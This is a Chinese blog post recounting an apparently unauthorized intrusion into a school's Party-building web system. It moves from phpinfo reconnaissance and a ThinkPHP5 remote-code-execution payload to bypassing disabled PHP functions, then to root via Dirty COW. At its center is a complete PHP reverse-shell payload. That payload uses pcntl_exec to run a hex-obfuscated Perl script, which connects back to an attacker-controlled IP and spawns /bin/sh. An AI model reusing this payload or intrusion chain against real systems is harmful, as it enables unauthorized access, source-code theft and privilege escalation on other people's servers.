• 从getshell到提权


    从getshell到提权

    一、起因

    学校推出新的党建系统,之前党建系统还参与开发,后来因为一些原因没有开发,主要想看看这届工作室的学弟、学妹代码水平,把源码撸下来审计一下,工作室用git开发的,记着上一篇文章是通过Githack把源码一把梭,结果这次再用Githack时撸不下来了,就有了下文了。
    Alt text

    二、信息搜集

    通过御剑扫到phpinfo.php页面。
    得到网站根目录:/www/wwwroot/xxx/xxx/public
    允许访问远程url:allow_url_fopen On
    disable_functions:passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru
    还扫到一个/admin.php文件,如下,发现是FastAdmin开发的
    Alt text

    三、RCE

    通过查阅资料发现:FastAdmin – 基于ThinkPHP5和Bootstrap的极速后台开发框架,这就联想到最近爆出的tp5的rce洞,直接找Payload直接打。
    Alt text
    读取数据库密码,数据库能外连,但是用户不是root,不能udf提权这条提权的路就放弃了:
    Alt text

    四、反弹shell

    因为禁用了好多执行命令的函数,导致大马、菜刀的部分功能都不能使,看是否能绕过disable_functions执行命令,查阅资料发现pcntl_exec()函数没禁用而且服务器支持这个函数:
    Alt text
    反弹shell的payload:

    <?php 
    
    /*******************************
     *查看phpinfo编译参数--enable-pcntl
     *作者 Spider
     *nc -vvlp 443
    ********************************/
     
    $ip = 'xx.xx.xx.xx';
    $port = '443';
    $file = '/tmp/bc.pl';
     
    header("content-Type: text/html; charset=gb2312");
     
    if(function_exists('pcntl_exec')) {
            $data = "x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx20x2dx77x0dx0ax23x0dx0a".
                    "x0dx0ax75x73x65x20x73x74x72x69x63x74x3bx20x20x20x20x0dx0ax75x73x65x20".
                    "x53x6fx63x6bx65x74x3bx0dx0ax75x73x65x20x49x4fx3ax3ax48x61x6ex64x6cx65".
                    "x3bx0dx0ax0dx0ax6dx79x20x24x72x65x6dx6fx74x65x5fx69x70x20x3dx20x27".$ip.
                    "x27x3bx0dx0ax6dx79x20x24x72x65x6dx6fx74x65x5fx70x6fx72x74x20x3dx20x27".$port.
                    "x27x3bx0dx0ax0dx0ax6dx79x20x24x70x72x6fx74x6fx20x3dx20x67x65x74x70x72".
                    "x6fx74x6fx62x79x6ex61x6dx65x28x22x74x63x70x22x29x3bx0dx0ax6dx79x20x24".
                    "x70x61x63x6bx5fx61x64x64x72x20x3dx20x73x6fx63x6bx61x64x64x72x5fx69x6e".
                    "x28x24x72x65x6dx6fx74x65x5fx70x6fx72x74x2cx20x69x6ex65x74x5fx61x74x6f".
                    "x6ex28x24x72x65x6dx6fx74x65x5fx69x70x29x29x3bx0dx0ax6dx79x20x24x73x68".
                    "x65x6cx6cx20x3dx20x27x2fx62x69x6ex2fx73x68x20x2dx69x27x3bx0dx0ax73x6f".
                    "x63x6bx65x74x28x53x4fx43x4bx2cx20x41x46x5fx49x4ex45x54x2cx20x53x4fx43".
                    "x4bx5fx53x54x52x45x41x4dx2cx20x24x70x72x6fx74x6fx29x3bx0dx0ax53x54x44".
                    "x4fx55x54x2dx3ex61x75x74x6fx66x6cx75x73x68x28x31x29x3bx0dx0ax53x4fx43".
                    "x4bx2dx3ex61x75x74x6fx66x6cx75x73x68x28x31x29x3bx0dx0ax63x6fx6ex6ex65".
                    "x63x74x28x53x4fx43x4bx2cx24x70x61x63x6bx5fx61x64x64x72x29x20x6fx72x20".
                    "x64x69x65x20x22x63x61x6ex20x6ex6fx74x20x63x6fx6ex6ex65x63x74x3ax24x21".
                    "x22x3bx0dx0ax6fx70x65x6ex20x53x54x44x49x4ex2cx20x22x3cx26x53x4fx43x4b".
                    "x22x3bx0dx0ax6fx70x65x6ex20x53x54x44x4fx55x54x2cx20x22x3ex26x53x4fx43".
                    "x4bx22x3bx0dx0ax6fx70x65x6ex20x53x54x44x45x52x52x2cx20x22x3ex26x53x4f".
                    "x43x4bx22x3bx0dx0ax73x79x73x74x65x6dx28x24x73x68x65x6cx6cx29x3bx0dx0a".
                    "x63x6cx6fx73x65x20x53x4fx43x4bx3bx0dx0ax65x78x69x74x20x30x3bx0a";
            $fp = fopen($file,'w');
            $key = fputs($fp,$data);
            fclose($fp);
            if(!$key) exit('写入'.$file.'失败');
            chmod($file,0777);
            pcntl_exec($file);
            unlink($file);
    } else {
            echo '不支持pcntl扩展';
    }
    ?>
    

    将反弹shell的payload写入服务器上时,通过浏览器上传这么长的代码就会上传内容不全,上面提到allow_url_fopen On开启,可以用file_get_contents()函数访问远程代码,将payload上传到我们服务器上,通过如下代码写入服务器中。
    Alt text
    访问a.php,本地监听443端口得到shell
    Alt text
    直接把源码打包撸下来。
    Alt text

    五、提权

    a.弱口令

    弹回来的shell权限是www,查看端口:
    Alt text
    发现9999端口开着liunx宝塔面板,直接试试默认口令、数据库的密码都登陆不进去,查了些宝塔面板提权也没找到好的案例,所以这条路放弃了。

    b.劫持PATH

    利用suid提权,发现一个ksu命令,尴尬的是分析好久这个命令,并没有向下面文章写的setuid(0)提权的代码,提权失败:
    Alt text
    参考这篇文章

    c.SUID

    情况都试了,也失败了。
    参考这篇文章

    d.fakesu

    尴尬的发现,www用户是nologin用户,不存在自己的家目录,更没有.bash_profile这个文件,就不能劫持命令了,这条路也失败了。其他也找了第三方应用比如gitlab,pgsql什么的,都试了试没成功。
    Alt text
    参考这篇文章

    e.脏牛

    看了下内核,是centos 7的。本地装了一个和它版本一样的系统,本地复现成功,将编译好的代码传到服务器上,最终提权成功。
    Alt text

    f.linux后门

    Alt text
    代码撸下来,有空对代码做下审计再发文章。
    最后希望大佬们能讨论下,Linux提权还有什么好的方法吗,集思广益?

  • 相关阅读:
    sgu175pascal
    poj3659pascal
    poj3411
    传球游戏pascal
    ubuntu 9.04 wubi安装的问题 2009511 13:58:00 (21ic)
    任何道理都是有局限的 20081020 11:07:00 (21ic)
    浓浓的亲情 2008106 8:53:00 (21ic)
    卖买房所得
    黑色的一周 20081018 3:23:00 (21ic)
    度的把握 2008929 20:59:00
  • 原文地址:https://www.cnblogs.com/afanti/p/10140050.html
Copyright © 2020-2023  润新知